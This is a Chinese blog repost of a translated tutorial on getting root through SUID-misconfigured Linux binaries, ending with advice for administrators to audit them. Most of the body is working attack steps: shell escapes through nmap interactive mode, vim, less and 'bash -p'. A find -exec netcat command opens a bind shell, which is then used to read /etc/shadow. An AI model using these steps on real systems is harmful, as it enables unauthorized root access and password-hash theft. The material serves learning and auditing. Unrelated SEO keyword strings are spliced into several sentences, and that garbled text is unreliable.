LinuxGod

LinuxGod.net
Linux大神网——精选每一篇高品质的技术干货
  1. 首页
  2. 开源快讯
  3. 正文

为什么要给Linux二进制文件设置这种权限?(上)

2023年1月15日 95点热度

译者:shan66

预估稿费:90RMB

投稿方式:发送邮件至linwei#,或登陆网页版在线投稿

SUID

SUID(设置用户ID)是赋予文件的一种权限linux提升权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。

但是linux windows,如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。其中,大家熟知的具有提权功能的Linux可执行文件包括:

Nmap
Vim
find
Bash
More
Less
Nano

cp

以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

查找SUID可执行文件

以上所有二进制文件都将以root用户权限来执行,因为它们的权限中包含“s”,并且它们的属主为root。

ls -l /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap

SUID可执行文件——Nmap

Nmap

较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。

win7 提升权限_安卓手机root提升权限_linux提升权限

nmap -V

识别Nmap的版本

为了启动交互模式,可以使用Nmap参数“interactive”。

Nmap——交互模式

以下命令将提供一个提权后的shell。

nmap> !sh
sh-3.2# whoami
root

通过Suid Nmap二进制文件获得Root Shell

此外,还有一个Metasploit模块,也可以通过SUID Nmap二进制文件进行提权。

exploit/unix/local/setuid_nmap

linux提升权限_win7 提升权限_安卓手机root提升权限

Find

实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。 因此linux提升权限,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

touch pentestlab
find pentestlab -exec whoami ;

Find执行命令的功能

由于大多数Linux操作系统都安装了netcat,因此可以将提权后的命令提升为root shell。

find pentestlab -exec netcat -lvp 5555 -e /bin/sh ;

通过Find运行Netcat

连接到打开的端口就能得到一个root shell。

netcat 192.168.1.189 5555
id
cat /etc/shadow

通过Find取得Root Shell

Vim

Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

vim.tiny /etc/shadow

Vim ——以root权限读取文件

此外,我们还可以通过Vim运行shell来执行只有root才能完成的操作。

vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

http://p9.qhimg.com/t01d2428cbe27497881.png

Vim——Root Shell

Bash

以下命令将以root身份打开一个bash shell。

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

Bash——Root Shell

Less

程序Less也可以执行提权后的shell。同样的方法也适用于其他许多命令。

less /etc/passwd
!/bin/sh

Less——Root Shell

结束语

由于通过误设SUID的可执行文件可以轻而易举的实现提权,因此,管理员应仔细审查所有SUID二进制文件,看看到底是否真的需要使用提权后运行。在这个审查过程中linux 下载,应该特别关注能够在系统上执行代码或写入数据的那些应用程序。

本作品采用 知识共享署名 4.0 国际许可协议 进行许可
标签: 交互 投稿 操作 权限 读取
最后更新:2023年1月15日

Linux大神网

每日更新,欢迎收藏♥ 不积跬步无以至千里,加油,共勉。

点赞
< 上一篇
下一篇 >

Linux大神网

每日更新,欢迎收藏♥
不积跬步无以至千里,加油,共勉。

最新 热点 随机
最新 热点 随机
Linux内核源码/内存/文件系统/进程管理/设备 TeXLive和MiKTeX两大主要发行版的镜像配置方法 安全增强式Linux(SELinuxLinux)内核修改和用户空间工具 Ubuntu系统下安装字体和切换默认字体的方法系统 896MB如何转换为物理空间(Linux地址映射的分析) 比较流行的Linux系统图形界面环境-Linux社区创作挑战赛 如何查看Linux硬盘的大小、类型和硬件信息?方法 Linux内核中的虚拟服务器集合:ipvsadm命令 FreeBSD9.0正式版FreeBSD8.0支持amd-64、i386编译器 如何在Ubuntu中创建应用的快捷方式? 如何在linux上安装搜狗输入法进行解释,别忘了关注本站 用集群技术构建网络服务器的发展趋势提出了 搜狗输入法forlinux版本安装指南: Linux中常用的4种虚拟化方法以及它们相应的优缺点 如何在linux下安装搜狗输入法后怎么用的那些神秘传说? Linux虚拟服务器LVS自动化运维方法及运维系统介绍 时间戳和时区1Unix(/)接收的两个推测 安装Linux和Windows双系统的硬盘分区是什么意思? linux怎么安装输入法Linux系统可以通过以下步骤步骤安装 (Unix)Unix时间戳转换公式及Unix操作成时间公式
快速实例学习:修改某个目录下的所有文件的权限bin是什么格式的文件怎么打开bin文件打开方法?科林·沃森:Ubuntu默认是关闭root帐户的,这样做(知识点)chmod系统控制用户对文件权限的命令如何在UbuntuLinux中启用和禁用root用户登录系统?Linux系统chmod命令使用数字修改文件权限的方式有哪些?关于Ubuntu修改密码及密码复杂度策略设置的文章!Ubuntu本地提权漏洞CVE-2017-16995程序员不输入密码进入Linux系统,孩子们永远不知道下一个bugchmod系统变更文件或目录的权限变更的详细资料介绍Linux常用服务器构建-ftp和scp介绍云海天教程:Ubuntu修改密码及密码复杂度策略设置Linux内核更新包配置Ubuntu环境配置环境Android官方网站:OpenHandsetAlliance源码模式:开发源码内核linux中makefile文件 cdeveloper的第21篇原创技术文章建议横屏Makefile简介Fedora17新特色特色说明桌面环境28bata集成了GNOMELinux嵌入式系统智能手机系统的硬件设计Unix或者类Unix文件系统中的每个文件(或者目录)打开U盘什么文件都看不到小编总结了基于嵌入式Linux的智能手机系统软件的设计与实现
第十二讲、Linux服务器操作系统ppt4.1引导与关闭系统4.1.1GRUB引导器 使用脚本安装脚本是什么?可能的误区误区! 将目录test下的所有文件压缩成test.zip,并设置密码 如需最新mainline内核版本下载并安装新版本删除旧内核 tarLinux下的归档使用工具,用来打包和备份。 引言MMC(MultitmediaCard):底层驱动的实现 RedHatEnterprise命令删除空文件夹命令教程操作环境介绍 为什么要给Linux二进制文件设置这种权限?(上) 嵌入式Linux软件设计系统设计的一般流程是什么?(图) linux中头文件的搜索路径 【讲堂】分为文件指向同一个硬连接的应用 小白在阿里云云服务器上如何发布自己的网站(建站|详细) Linux版本的Interbase4.0,这是一个高性能 ln命令:创建硬链接,当使用-s时创建符号链接 物理内存大许多倍的内存管理子系统是怎么来的?(图) 安卓已经被官方认定「不适合」作为车机系统? 解密Unix时间戳转换技巧,轻松读懂日期奥秘 Linux中USB总线提供统一的外设的接口方式框架及数据结构 Linux内核源代码的结构分布图-子目录模块 如何在UbuntuLinux中启用和禁用root用户登录系统?
标签聚合
文件目录 linux服务器 sudo linux系统 命令 命令模式 虚拟机 电脑 软件 linux脚本
书籍
课程
技术群
技术干货大合集↓
  • 2023年6月 / 4篇
  • 2023年5月 / 93篇
  • 2023年4月 / 90篇
  • 2023年3月 / 129篇
  • 2023年2月 / 84篇
  • 2023年1月 / 161篇
  • 2022年12月 / 187篇
  • 2022年11月 / 76篇
友情链接:

Linux书籍 | Linux命令 | Linux系统 | RHCE红帽认证 | Linux软件 | Linux教程 | CentOS系统 | Linux内核 | Linux服务器 | Linux大神 | IT资源

COPYRIGHT © 2023 linuxgod.net ALL RIGHTS RESERVED.